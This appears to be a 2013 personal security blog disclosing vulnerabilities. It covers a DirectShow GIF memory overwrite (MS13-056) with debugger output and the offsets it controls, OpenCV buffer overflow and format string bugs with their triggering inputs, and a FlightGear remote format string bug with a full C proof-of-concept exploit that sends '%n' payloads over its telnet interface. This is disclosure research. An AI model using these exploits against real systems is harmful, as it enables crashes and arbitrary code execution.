martes, 16 de julio de 2013

DirectShow Arbitrary Memory Overwrite Vulnerability ms13-056

Introduction:

The Microsoft DirectShow application programming interface (API) is a media-streaming architecture for Microsoft Windows. Using DirectShow, your applications can perform high-quality video and audio playback or capture.  

Overview:

DirectShow in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, and Windows Server 2012 allows remote attackers to execute arbitrary code via a crafted GIF file, aka "DirectShow Arbitrary Memory Overwrite Vulnerability." 

Disclosure Timeline

2013-03-20 - Vulnerability reported to vendor
2013-07-09 - Coordinated public release of advisory

Details:  

Microsoft's DirectShow API is vulnerable to arbitrary memory overwrite when reading specially crafted GIF files. I have attached a GIF which triggers the vulnerability. To open it you can use Media Player Classic which utilizes DirectShow API to render GIF files. I tested it on Windows XP SP3 and Windows 7 SP1 Spanish version. The corresponding output from WindDbg in Windows XP is:



ModLoad:    72c90000 72c98000      C:\WINDOWS\system32\msacm32

drv
ModLoad:   77bb0000 77bc5000       C:\WINDOWS\system32\MSACM32.dll
ModLoad:   77ba0000 77ba7000       C:\WINDOWS\system32\midimap.dll
ModLoad:   73e60000 73e64000       C:\WINDOWS\system32\KsUser.dll
ModLoad:   60830000 608bc000       C:\WINDOWS\system32\qedit.dll
ModLoad:   75ed0000 75ef1000        C:\WINDOWS\system32\MSVFW32.dll

(bd0.bf4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=ff414141 ebx=fffffa60 ecx=00000000 edx=fea57028 esi=fea57028 edi=000000ef
eip=60864094 esp=0274ec0c ebp=0274ed3c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297

qedit!CImgGif::ReadImage+0x288:
60864094 8902            mov     dword ptr [edx],eax  ds:0023:fea57028=????????


The issue occurs inside qedit.dll when trying to read GIF header data, in CImgGif::ReadImage+0x288. This writes in memory position edx=fea57028 the value eax=ff414141 both of them controlled by the user. eax=fea57028 can be modified in the GIF file in the position 0x32C corresponding to NW corner of frame at 0, 0 and eax=ff414141 can be modified in the position 0x307 corresponding to Global Color Table. With these two values controlled by an attacker, arbitrary code execution could be achieved, with the privileges of the user running the application (in this case MPC).
    
References:
  • https://technet.microsoft.com/en-us/security/bulletin/ms13-056 
  • http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3174
Fix:

http://technet.microsoft.com/en-us/security/bulletin/ms13-056

PoC:



viernes, 14 de junio de 2013

Multiple vulnerabilities in OpenCV

I worked with OpenCv some time ago and I decided to carry out a little security audit. The tool used was flawfinder with the following command line:

flawfinder -m 3 --html --quiet --dataonly --context opencv-2.4.4/ > opencv-flaws.html

This analyses the source code and returns a lot of results, most of them false positive. But there are already several vulnerabilities I checked as real:

In the file opencv-2.4.4/modules/legacy/src/oneway.cpp line 1795:
if (fscanf(pFile, "%s", imagename) <= 0) 
There is a buffer overflow when reading long files names from a list of files. For example when executing:

./c-example-one_way_sample location scene_l.bmp scene_r.bmp
Reading the images...
Extracted 42 keypoints...
Training one way descriptors...
buffer overflow detected ***: 
./c-example-one_way_sample terminated
This program reads a file called "one_way_train_images.txt" which its content is:

one_way_train_0000AAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAA.jpg
one_way_train_0001BBBBBBBBBBB...BBBBBBBBBBBBBBBBBBBBBBBBBB.jpg

In the file opencv-2.4.4/modules/highgui/src/cap_images.cpp line 114:

sprintf(str, filename, firstframe + currentframe);  

There is a format string when reading special files names. For example:

./c-example-adaptiveskindetector C:\VideoSequences\sample1\right_view\temp_%05d%n%s%s%s%s%s.jpg 0 1000
Press ESC to stop.
%n in writable segment detected ***
Abortado
These bugs could be exploited to execute arbitrary code.

Although of less concern, also there are vulnerabilities in the samples, here are two I found:

opencv-2.4.4/samples/cpp/hybridtrackingsample.cpp line 82, a buffer overflow:

sprintf(test_file, "%s", argv[1]);
 
opencv-2.4.4/samples/cpp/hybridtrackingsample.cpp line 85 another buffer overflow:

int values_read = fscanf(f, "%s\n", vid); 

References: 
http://code.opencv.org/issues/2968  
 

domingo, 21 de abril de 2013

Flightgear remote format string


Introduction:

FlightGear is an open-source flight simulator.  It supports a variety of popular platforms (Windows, Mac, Linux, etc.) and is developed by skilled volunteers from around the world.  Source code for the entire project is available and licensed under the GNU General Public License.

Bug:

Flightgear allows remote control of simulation parameters through property tree, for instance when executed by:

 fgfs.exe --fg-root=C:\Program Files\FlightGear 2.4.0\data --props=5501 

    or

 fgfs.exe --fg-root=C:\Program Files\FlightGear 2.4.0\data --telnet=5501

When some special parameters related with clouds are changed, for example:

 set /environment/cloudlayers/layers/cu/cloud/name %n  

It generates a remote format string vulnerability that could crash the application or potentially execute arbitrary code under certain conditions.

The vulnerable code is in flightgear/src/Environment/fgclouds.cxx line 235

                double count = acloud->getDoubleValue("count", 1.0);  
                tCloudVariety[CloudVarietyCount].count = count;  
                int variety = 0;  
                cloud_name = cloud_name + "-%d";  
                char variety_name[50];  
                do {  
                     variety++;  
                     snprintf(variety_name, sizeof(variety_name) - 1, cloud_name.c_str(), variety); 
                } while( box_def_root->getChild(variety_name, 0, false) );  
                totalCount += count;  
                if( CloudVarietyCount < 20 )  
                     CloudVarietyCount++;  
           }  
      }  
      totalCount = 1.0 / totalCount;  

because it uses cloud names as format string parameter in snprintf function.

Exploit:

 /*   
 # Vendor Homepage: http://www.flightgear.org/  
 # Software Link: http://www.flightgear.org/download/  
 # Version: Tested on versions 2.0, 2.4.  
 # Tested on: Windows (Linux user assisted)  
 # CVE : None  
   Flightgear allows remote control through Property tree.  
   It is vulnerable to remote format string vulnerability   
   when some special parameters related with clouds are changed.  
   To test this exploit, run Flightgear with remote input, for example:  
   fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch  
   or  
   fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch    
   gcc -O2 -g -pedantic -Wall poc.c -o poc  
   USAGE: ./poc [hostname [port]]   
   More information: http://kuronosec.blogspot.com/  
 */  
 #include <stdio.h>  
 #include <errno.h>  
 #include <stdlib.h>  
 #include <unistd.h>  
 #include <sys/time.h>  
 #include <sys/types.h>  
 #include <sys/socket.h>  
 #include <netdb.h>  
 #include <netinet/in.h>  
 #include <stdarg.h>  
 #include <string.h>  
 #define DFLTHOST     "127.0.0.1"  
 #define DFLTPORT     5501  
 #define MAXMSG          256  
 #define fgfsclose     close  
 void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port);  
 int fgfswrite(int sock, char *msg, ...);  
 const char *fgfsread(int sock, int wait);  
 void fgfsflush(int sock);  
 int fgfswrite(int sock, char *msg, ...)  
 {  
      va_list va;  
      ssize_t len;  
      char buf[MAXMSG];  
      va_start(va, msg);  
      vsnprintf(buf, MAXMSG - 2, msg, va);  
      va_end(va);  
      printf("SEND: \t<%s>\n", buf);  
      strcat(buf, "\015\012");  
      len = write(sock, buf, strlen(buf));  
      if (len < 0) {  
           perror("fgfswrite");  
           exit(EXIT_FAILURE);  
      }  
      return len;  
 }  
 const char *fgfsread(int sock, int timeout)  
 {  
      static char buf[MAXMSG];  
      char *p;  
      fd_set ready;  
      struct timeval tv;  
      ssize_t len;  
      FD_ZERO(&ready);  
      FD_SET(sock, &ready);  
      tv.tv_sec = timeout;  
      tv.tv_usec = 0;  
      if (!select(32, &ready, 0, 0, &tv))  
           return NULL;  
      len = read(sock, buf, MAXMSG - 1);  
      if (len < 0) {  
           perror("fgfsread");  
           exit(EXIT_FAILURE);  
      }   
      if (len == 0)  
           return NULL;  
      for (p = &buf[len - 1]; p >= buf; p--)  
           if (*p != '\015' && *p != '\012')  
                break;  
      *++p = '\0';  
      return strlen(buf) ? buf : NULL;  
 }  
 void fgfsflush(int sock)  
 {  
      const char *p;  
      while ((p = fgfsread(sock, 0)) != NULL) {  
           printf("IGNORE: \t<%s>\n", p);  
      }  
 }  
 int fgfsconnect(const char *hostname, const int port)  
 {  
      struct sockaddr_in serv_addr;  
      struct hostent *hostinfo;  
      int sock;  
      sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  
      if (sock < 0) {  
           perror("fgfsconnect/socket");  
           return -1;  
      }  
      hostinfo = gethostbyname(hostname);  
      if (hostinfo == NULL) {  
           fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname);  
           close(sock);  
           return -2;  
      }  
      serv_addr.sin_family = AF_INET;  
      serv_addr.sin_port = htons(port);  
      serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr;  
      if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {  
           perror("fgfsconnect/connect");  
           close(sock);  
           return -3;  
      }  
      return sock;  
 }  
 int main(int argc, char **argv)  
 {  
      int sock;  
      unsigned port;  
      const char *hostname, *p;  
     int i;  
      hostname = argc > 1 ? argv[1] : DFLTHOST;  
      port = argc > 2 ? atoi(argv[2]) : DFLTPORT;  
      sock = fgfsconnect(hostname, port);  
      if (sock < 0)  
           return EXIT_FAILURE;  
      fgfswrite(sock, "data");  
     fgfswrite(sock, "set /sim/rendering/clouds3d-enable true");  
     fgfswrite(sock, "set /environment/clouds");  
     for (i=0; i < 5; i++) {  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i);  
     }  
      p = fgfsread(sock, 3);  
      if (p != NULL)  
           printf("READ: \t<%s>\n", p);  
     for (i=0; i < 5; i++) {  
           fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i);  
           fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i);  
           fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i);  
     }  
     p = fgfsread(sock, 3);  
      if (p != NULL)  
           printf("READ: \t<%s>\n", p);  
      fgfswrite(sock, "quit");  
      fgfsclose(sock);  
      return EXIT_SUCCESS;  
 }  

Fix:

No fix.

miércoles, 10 de abril de 2013

In the beginning...

Aquí comienzo con mi primer intento de blog, iré publicando algunas cosas en las que he trabajado o lo que se me vaya ocurriendo. La idea es compartir ideas o conocimientos que le puedan servir a alguien, especialmente en informática y seguridad.